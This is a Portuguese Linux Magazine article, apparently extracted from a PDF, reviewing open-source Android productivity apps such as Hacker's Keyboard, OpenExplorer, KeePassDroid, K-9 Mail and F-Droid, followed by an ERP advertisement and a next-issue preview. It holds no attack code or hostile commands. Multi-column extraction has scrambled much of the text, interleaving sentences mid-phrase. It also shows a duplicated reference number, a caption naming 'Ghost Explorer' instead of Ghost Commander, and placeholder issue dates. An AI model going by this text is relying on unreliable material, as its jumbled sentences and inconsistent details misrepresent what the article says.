aplicativos de código aberto que por padrão). O Hacker’s Keyboard nuvem, incluindo Box, Dropbox
podem transformar um dispositi- também contempla uma interfa- e Google Drive.
vo Android em uma máquina de ce de configuração dedicada que A capacidade de lidar com ser-
produtividade poderosa e versátil. permite ativar o teclado, instalar vidores remotos é apenas um dos
dicionários adicionais e ajustar as muitos talentos do OpenExplorer.
Ferramentas opções de teclado (figura 1). O gerenciador de arquivos tam-
Um dispositivo Android sem bém vem com um editor de texto
do sistema um gerenciador de arquivos ade- embutido que permite visualizar
A maioria dos teclados virtuais quado é tão útil como uma roda e modificar arquivos de texto. Em
para Android são otimizados quadrada. Felizmente, o usuário dispositivos Android rooteados
para a entrada de texto rápida e
eficiente, às custas de determi-
nados recursos. Alguns teclados,
por exemplo, acabaram com a
tecla Tab, que é essencial para
trabalhar em terminais. Outros
teclados não possuem setas dedi-
cadas, o que torna difícil selecio-
nar textos e mover o cursor. Além
disso, quase nenhum dos teclados
disponíveis possuem teclas de
função dedicadas. Para resolver
o problema, use o Hacker’s Key-
board [1], um teclado de substi-
tuição que reproduz o layout do
teclado regular, por isso é ideal
para os usuários que dependem Figura 1 O Hacker’s Keyboard permite habilitar e configurar o teclado.

68 www.linuxmagazine.com.br
pode usar o aplicativo para criar
novos bancos de dados (ainda
que somente no formato KDB).
Como o aplicativo de desktop,
o KeePassDroid pode lidar com
bancos de dados protegidos com
um arquivo de chave. Quando
abrimos um registro de banco de
dados no KeePassDroid, o apli-
cativo convenientemente copia
o nome de usuário e senha para
a área de transferência, tornan-
do mais fácil inserir os dados de
Figura 2 O OpenExplorer é um gerenciador de arquivos que con-
login em um formulário web.
templa uma ampla gama de recursos úteis.
Mais importante ainda, o apli-
(com as permissões administrati- so de leitura/escrita a pastas do cativo abre automaticamente a
vas desbloqueadas), o gerenciador sistema em dispositivos Android área de transferência após um
de arquivos fornece leitura/escrita rooteados, e recurso Favoritos do determinado período de tempo
aos diretórios do sistema, e o apli- gerenciador de arquivos pode vir a para melhor segurança.
cativo permite ao usuário navegar calhar para adicionar os diretórios
e extrair arquivos em formatos po-
pulares, incluindo ZIP, TAR, TRGZIP,
utilizados com mais frequência.
O KeePass é uma ótima fer-
Gerenciadores
TBZIP2 e 7ZIP. O recurso Favoritos ramenta para armazenar e ge- de tarefas
do OpenExplorer permite marcar renciar senhas no desktop Li- Gerenciadores de tarefas e ferra-
as pastas mais usados para aces- nux, e o KeePassDroid [4] é um mentas de anotações são a parte
so rápido. Por fim, o gerenciador companheiro perfeito para ela mais importante da produtividade
de arquivos suporta as chamadas (figura 5). Com este aplicativo, em qualquer plataforma, e o An-
pastas inteligentes, que oferecem o usuário pode utilizar um ban- droid não é exceção. Quando se
acesso conveniente a fotos, vídeos, co de dados de senha KeePass trata de tarefas e gerenciadores, o
música e downloads. em um dispositivo Android. O usuário pode escolher entre vários
O OpenExplorer é um geren- aplicativo pode abrir bancos de aplicativos. O simpleDeadlines [5],
ciador de arquivos competente, dados existentes, tanto em for- por exemplo, é um aplicativo de ge-
mas se o usuário preferir a efi- matos KDB mais antigos como renciamento de tarefas para usuá-
ciência de um gerenciador de formatos KDBX mais recentes, e rios que valorizam a simplicidade.
arquivos de painel duplo, então
o Ghost Commander [3] é o mais
recomendado (figura 4). A inter-
face do Ghost Commander tor-
na extremamente fácil trabalhar
com arquivos e atalhos numéricos
permitem executar operações
comuns com um simples toque
de tecla (o que é útil se o usuá-
rio utilizar um teclado físico com
o dispositivo Android). O Ghost
Commander pode lidar com o
protocolo FTP diretamente fora
da caixa, mas é possível adicionar
suporte ao Samba e SFTP com a
instalação de plugins opcionais.
Semelhante ao OpenExplorer, o Figura 3 OpenExplorer suporta protocolos populares e serviços de
armazenamento em nuvem
Ghost Commander fornece aces-

Linux Magazine #XX | Mês de 200X 69


também suporta lembretes base-
ados em localização, que disparam
notificações quando o usuário se
encontra em um local específico.
O aplicativo salva continuamente
notas novas e modificadas, e ofe-
rece o recurso Time machine, que
permite visualizar todas as ver-
sões anteriores de uma anotação
específica. Mais importante ainda,
o NotePad suporta sincronização
através do serviço Google Tasks,
assim o usuário pode manter notas
Figura 4 A interface de painel duplo do Ghost Explorer facilita o e tarefas sincronizados entre múl-
trabalho com arquivos e diretórios. tiplos dispositivos e plataformas.
Como o nome sugere, o aplicativo listas e transformar uma nota em
é particularmente adequado para
manter o controle sobre prazos,
uma tarefa atribuindo um prazo
e um lembrete para ela. Embora
Gerenciamento
por isso pode ser uma ferramenta não seja possível atribuir uma prio- de email
indispensável para qualquer pessoa ridade para as tarefas, é possível Quando se trata de escolher um
que lida diariamente com prazos reorganizá-las, arrastando-as para cliente de email para uso com o
de todos os tipos (figura 6). cima e para baixo. dispositivo Android, poucos são
O simpleDeadlines é, na verda- Além de lembretes regulares de tão bons quanto o K-9 Mail [8].
de, simples. Ele permite que criar tempo, o NoNonsense NotePad Na verdade, este deve ser um dos
tarefas, atribuir datas de vencimen-
to para elas e organizar as tarefas
criadas em grupos. O aplicativo
atribui um código de cores para
cada tarefa com base na proximi-
dade do prazo de vencimento. Por
exemplo, todos os prazos vencidos
e futuros possuem um rótulo na
cor vermelha, prazos a vencer são
marcados com a cor laranja, e as-
sim por diante. Em cada boot, o
simpleDeadlines exibe uma noti-
ficação contendo a contagem de
prazo para cada código de cores. O
programa também funciona com
o aplicativo DashClock Widget [6],
que permite visualizar os prazos
na tela de bloqueio.
Se o usuário estiver procurando
por algo mais avançado do que o
simpleDeadlines, então poderá se
interessar pelo NoNonsense No-
tePad [7]. Este aplicativo híbrido
combina gerenciamento de tarefas
com o recurso de anotações, dis-
pondo de uma interface elegante e
amigável ao usuário (figura 7). Com Figura 5 KeePassDroid é um aplicativo útil para o gerenciamento de
ele é possível organizar notas em senhas no Android.

70 www.linuxmagazine.com.br
de conversação. Os comandos
no menu de contexto permitem
processar email de forma rápida
e eficiente: o usuário pode, por
exemplo, pressionar por alguns
poucos segundos um item do e-
-mail para respondê-lo, encami-
Figura 6 SimpleDeadlines é um aplicativo sem frescuras para manter nhá-lo, marcá-lo como não lido,
o controle sobre prazos. movê-lo para outra pasta, e as-
sim por diante. O comando More
from this sender exibe todas as
mensagens de email recentes do
remetente. O K-9 Mail suporta
múltiplas identidades, também,
o que pode vir a calhar para uso
com aliases de email. Outros re-
cursos de praxe, como anexos,
assinaturas, pesquisa, classifi-
cação e outros confortos estão
presentes e podem ser levados
em conta na avaliação positiva
Figura 7 NoNonsense NotePad pode lidar com tarefas e anotações. do programa.
aplicativos amigáveis ao usuário serviços, poderá adicioná-la ao Um leitor de ebook, como o
mais poderosos da plataforma K-9 Mail em questão de segun- aplicativo FBReader, é outro apli-
Android. O K-9 Mail suporta múl- dos. Basta fornecer o endereço cativo útil para maximizar a pro-
tiplas contas de email, e o assis- de email e senha que o aplicativo dutividade do usuário. O aplica-
tente de configuração de conta se encarregará do resto. tivo suporta vários formatos de
torna o processo de adicionar K-9 Mail apresenta a Unified ebook populares, incluindo o
contas algo muito simples (figu- Inbox, que permite gerenciar EPUB, MOBI, FB2 e TXT. O apli-
ra 8). O assistente suporta ser- emails de todas as contas em cativo fornece acesso direto a
viços de email populares, como um só lugar. A interface do apli- diversos catálogos de ebooks
o Gmail, Yahoo! Mail e FastMail, cativo empresta algumas ideias online (por exemplo, Smashwords
então se o usuário possui uma do Gmail, incluindo a capacidade e Feedbooks), para que o usuário
conta com qualquer um destes de visualizar emails como tópicos possa navegar, comprar e baixar
ebooks diretamente do leitor. É
possível adicionar catálogos per-
sonalizados também, e o recurso
pode ser útil para transferir ebooks
de conexões sem fio [10] a partir
da suite de ebook Calibre.
Graças a uma ampla gama de
opções configuráveis, o FBReader
é infinitamente personalizável
(figura 9). É possível ajustar pra-
ticamente todos os aspectos do
aplicativo: das fontes (o aplicati-
vo pode usar a fonte TrueType)
e temas, ao espaçamento entre
linhas e efeito de transição de
página. Claro, o aplicativo apre-
Figura 8 O K-9 Mail é possivelmente o cliente de email mais potente senta os confortos habituais,
e versátil para Android. como pesquisa e favoritos.

Linux Magazine #XX | Mês de 200X 71


como encontrá-los? A maneira
mais fácil de descobrir e instalar
o software de código aberto em
um dispositivo Android é usando
o F-Droid [11], que fornece uma
alternativa de código aberto ao
serviço da loja do Google Play. O
F-Droid permite ver alguns dos
aplicativos disponíveis por cate-
gorias, instalá-los, e até mesmo
obter o código fonte. Apesar do
F-Droid não contemplar suporte
a imagens, avaliações e comen-
Figura 9 O FBReader é um leitor de ebook infinitamente personali- tários, o aplicativo convenien-
zável e suporta vários formatos de ebook. temente fornece links para a
É possível marcar uma página cativo mais indicado (figura 10). maioria dos aplicativos do Google
inteira ou seleção de texto; assim, Ele suporta destaque de sintaxe Play Store, onde o usuário pode
o usuário pode utilizar o recur- para muitas linguagens de pro- deixar seu feedback. n
so de bookmarking para salvar gramação populares, incluin-
trechos de texto. O FBReader do Java, JavaScript, Perl, PHP,
também permite realizar outras Python, Bash e muitas outras. Gostou do artigo?
ações sobre o texto selecionado Além disso, o editor pode lidar Queremos ouvir sua opinião.
Fale conosco em:
usando um menu pop-up. Pode- com uma ampla gama de codi- cartas@linuxmagazine.com.br
mos destacar a seleção aplicando ficações, e reúne uma enorme Este artigo no nosso site:
uma cor a ela e compartilhando quantidade de características http://lnm.com.br/article/9024
o trecho selecionado via recur- úteis: do recurso de procurar e
so de compartilhamento do An- substituir à indentação e supor-
droid. A caixa de ferramentas de te para várias janelas.
Mais informações
produtividade do leitor estaria
incompleta sem um editor de Conclusão [1] N7Player: https://play.google.
com/store/apps/details?id=com.
texto, e se o usuário estiver Muitos outros aplicativos de có- n7mobile.nplayer
em busca de um editor de tex- digo aberto estão disponíveis e [1] Hacker’s Keybo-
to que possa ser usado tanto podem se tornar úteis para o au- ard: http://code.google.
com/p/hackerskeyboard
para editar como criar código, mento da produtividade da caixa
[2] OpenExplorer: http://
o 920 Text Editor [10] é o apli- de ferramentas do usuário. Mas, brandroid.org/open
[3] Ghost Commander:
http://sites.google.com/
site/ghostcommander1
[4] KeePassDroid: http://
www.keepassdroid.com
[5] SimpleDeadlines: github.
com/chibibi/simpleDeadlines
[6] DashClock Widget: code.
google.com/p/dashclock
[7] NoNonsense NotePad: github.
com/spacecowboy/NotePad
[8] K-9 Mail: code.goo-
gle.com/p/k9mail
[9] FBReader: fbreader.org
[10] 920 Text Editor: jecelyin.
github.io/920‑Text‑Editor
[11] F-Droid: https://f‑droid.org/
Figura 10 920Text Editor é bom para escrever e codificar. Dmitri Popov.

72 www.linuxmagazine.com.br
Agora você tem o controle sobre
o desempenho do seu negócio
sempre à sua mão.

Compras Finanças

Estoques
NF-e

Vendas

Fornecedores
Clientes

A micro e pequena empresa ganha uma solução de classe


mundial de sistemas de gestão ERP no modelo comercial
com a melhor relação custo/benefício. O Kontroller
dispensa aquisição de hardware, licenças de software,
ERP – SISTEMA DE GESTÃO técnicos de suporte ou sistema de backup. Garante alta
disponibilidade e oferece fácil acesso via browser.

Saiba mais em:


Solução completa hospedada
www.vectory.com.br
em nuvem (Cloud Computing)
+55 11 3104 6652

SOFTWARE
Preview
Linux Magazine #108
Privacidade
Na próxima edição da Linux Magazine,
você vai conhecer uma infinidde de
ferramentas para proteger suas
informações confidenciais, mantendo
a sua privacidade e seus dados longe
dos olhos de curiosos.
Conheça diversas ferramentas de
privacidade para criptografar seus
dados tanto localmente quanto na
nuvem e aprenda como navegar de
forma efetivamente anônima na
Internet, protegendo sua identidade
de eventuais bisbilhoteiros. n

Admin Magazine #11


Virtualização de Desktop
Quais são as reais vantagens de pos-
suir um desktop virtualizado? Quais
são os reais benefícios de manter a
infraestrutura de usuário virtualizada
a este nível? Estas e outras perguntas
serão repondidas na próxima edição
da Admin Magazine, onde você irá
aprender como funciona e como man-
ter uma insfraestrutura de desktops
virtualizados utilizando as mais mo-
dernas ferramentas de virtualização
disponíveis no mercado. n

82 www.linuxmagazine.com.br

Você também pode gostar